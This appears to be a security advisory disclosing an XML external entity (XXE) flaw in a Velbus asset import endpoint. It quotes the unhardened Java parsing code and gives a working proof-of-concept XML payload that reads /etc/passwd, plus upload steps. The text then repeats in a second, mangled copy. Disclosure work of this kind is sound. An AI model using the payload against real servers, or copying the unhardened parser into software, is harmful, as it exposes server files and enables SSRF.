Summary
The Velbus asset import path parses attacker-controlled XML without explicit XXE hardening. An authenticated user who can call the import endpoint may trigger XML external entity processing, which can lead to server-side file disclosure and SSRF. The target file must be less than 1023 characters.
Details
Velbus import uses DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(...) on untrusted XML input, without explicit safeguards to disable DTD/external entities.
@Override
public Future<Void> startAssetImport(byte[] fileData, Consumer<AssetTreeNode[]> assetConsumer) {
return executorService.submit(() -> {
Document xmlDoc;
try {
String xmlStr = new String(fileData, StandardCharsets.UTF_8);
LOG.info("Parsing VELBUS project file");
xmlDoc = DocumentBuilderFactory
.newInstance()
.newDocumentBuilder()
.parse(new InputSource(new StringReader(xmlStr)));
Expanded Caption content is propagated into created asset names:
String name = module.getElementsByTagName("Caption").item(0).getTextContent();
name = isNullOrEmpty(name) ? deviceType.toString() : name;
// TODO: Use device specific asset types
Asset<?> device = new ThingAsset(name);
PoC
- Log in to a realm with a user that can call Velbus asset import.
- Create/select a Velbus TCP Agent in that same realm.
- Send
POST /api/{realm}/agent/assetImport/{agentId} with a Velbus project XML payload and compare behavior against a baseline import file.
- Save the below code as a
xxe.xml and upload to Setup under https://localhost/manager/?realm=<YOUR_REALM>#/assets/false/<ASSET_ID>. Chnage the file:///etc/passwd to another file if your passwd is longer than 1023 characters.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE velbus [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<Project>
<Module type="VMB1RY" address="01" build="00" serial="LAB">
<Caption>&xxe;</Caption>
</Module>
</Project>
As long as the file content is under 1023 characters, the exploit will succeed.

If the file content reaches the limit, an error is thrown.

Impact
- Type: XML External Entity (XXE)
- Affected: Deployments exposing Velbus import to authenticated users with import access
- Risk: limited local file disclosure (as long as the file is under 1023 characters) from the Manager runtime, and SSRF.
References
Summary
The Velbus asset import path parses attacker-controlled XML without explicit XXE hardening. An authenticated user who can call the import endpoint may trigger XML external entity processing, which can lead to server-side file disclosure and SSRF. The target file must be less than 1023 characters.
Details
Velbus import uses
DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(...)on untrusted XML input, without explicit safeguards to disable DTD/external entities.Expanded
Captioncontent is propagated into created asset names:PoC
POST /api/{realm}/agent/assetImport/{agentId}with a Velbus project XML payload and compare behavior against a baseline import file.xxe.xmland upload toSetupunderhttps://localhost/manager/?realm=<YOUR_REALM>#/assets/false/<ASSET_ID>. Chnage thefile:///etc/passwdto another file if yourpasswdis longer than 1023 characters.As long as the file content is under 1023 characters, the exploit will succeed.

If the file content reaches the limit, an error is thrown.

Impact
References